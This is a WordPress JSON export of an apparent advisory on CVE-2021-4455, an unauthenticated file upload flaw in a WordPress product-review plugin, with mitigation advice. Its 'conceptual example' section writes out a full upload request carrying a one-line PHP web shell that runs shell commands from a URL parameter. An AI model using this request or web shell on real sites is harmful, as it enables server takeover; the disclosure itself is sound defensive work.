{"id":31075,"date":"2025-04-25T09:17:06","date_gmt":"2025-04-25T09:17:06","guid":{"rendered":""},"modified":"2025-06-22T17:37:43","modified_gmt":"2025-06-22T23:37:43","slug":"cve-2021-4455-critical-arbitrary-file-upload-vulnerability-in-wordpress-smart-product-review-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2021-4455-critical-arbitrary-file-upload-vulnerability-in-wordpress-smart-product-review-plugin\/","title":{"rendered":"<strong>CVE-2021-4455: Critical Arbitrary File Upload Vulnerability in WordPress Smart Product Review Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A serious vulnerability has been identified in the Smart Product Review plugin for WordPress, an extensively used tool for adding product reviews to websites. This critical security flaw, labelled as CVE-2021-4455, affects all versions up to and including 1.0.4. This vulnerability is of particular concern as it creates a gaping hole in the security of WordPress sites, allowing unauthenticated attackers to execute <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32519-themeatelier-idonate-php-remote-file-inclusion-vulnerability\/\"  data-wpil-monitor-id=\"35381\">remote code by uploading arbitrary files<\/a> to the server. Given the widespread use of WordPress, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4335-privilege-escalation-vulnerability-in-woocommerce-multiple-addresses-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"43753\">vulnerability has far-reaching implications and should be addressed<\/a> immediately.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2021-4455<br \/>\nSeverity: Critical (9.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Unauthenticated <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29281-arbitrary-file-upload-vulnerability-in-perfreeblog-4-0-11\/\"  data-wpil-monitor-id=\"35514\">arbitrary file upload<\/a> leading to a potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2610154463\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Smart Product Review <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-3899-csrf-vulnerability-in-3dprint-wordpress-plugin-before-3-5-6-9\/\"  data-wpil-monitor-id=\"35676\">Plugin for WordPress<\/a> | Up to and including 1.0.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32589-php-remote-file-inclusion-vulnerability-in-odude-flexi-guest-submit\/\"  data-wpil-monitor-id=\"35509\">vulnerability stems from an absence of file<\/a> type validation in the Smart Product Review plugin. This means that an attacker does not need any form of authentication to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39557-severe-unrestricted-file-upload-vulnerability-in-kadence-woocommerce-email-designer\/\"  data-wpil-monitor-id=\"36082\">upload files<\/a> to the server. The types of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26927-epc-ai-hub-unrestricted-file-upload-vulnerability-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"36097\">files that can be uploaded<\/a> are not limited, which allows for the uploading of arbitrary files. These could include malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35778\">scripts or executables that could potentially<\/a> grant the attacker control over the server or enable extraction of sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-328037834\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-27289-replay-attack-vulnerability-uncovered-in-zigbee-smart-home-kit\/\"  data-wpil-monitor-id=\"35527\">attacker might exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/smart-product-review\/upload.php HTTP\/1.1\nHost: vulnerable-website.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious_script.php&quot;\nContent-Type: application\/php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, an attacker sends a POST request to the vulnerable upload endpoint of the plugin, with a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32627-php-remote-file-inclusion-vulnerability-in-joomsky-js-job-manager\/\"  data-wpil-monitor-id=\"35583\">PHP script as the file<\/a> to be uploaded. The script is designed to execute a shell command sent as a parameter in a subsequent GET request, thus enabling the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29209-unauthenticated-arbitrary-command-execution-in-totolink-x18\/\"  data-wpil-monitor-id=\"37398\">execute arbitrary commands<\/a> on the server.<\/p>\n<p><strong>Recommended Mitigation<\/strong><\/p>\n<p>The best course of action is to apply the vendor&#8217;s patch as soon as possible. If this is not immediately feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures can only limit the damage and are not permanent solutions. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32595-persistent-php-remote-file-inclusion-vulnerability-in-gavias-krowd\/\"  data-wpil-monitor-id=\"60399\">vulnerability will persist<\/a> until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A serious vulnerability has been identified in the Smart Product Review plugin for WordPress, an extensively used tool for adding product reviews to websites. This critical security flaw, labelled as CVE-2021-4455, affects all versions up to and including 1.0.4. This vulnerability is of particular concern as it creates a gaping hole in the security [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-31075","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31075","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=31075"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31075\/revisions"}],"predecessor-version":[{"id":54123,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31075\/revisions\/54123"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=31075"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=31075"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=31075"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=31075"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=31075"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=31075"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=31075"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=31075"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=31075"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}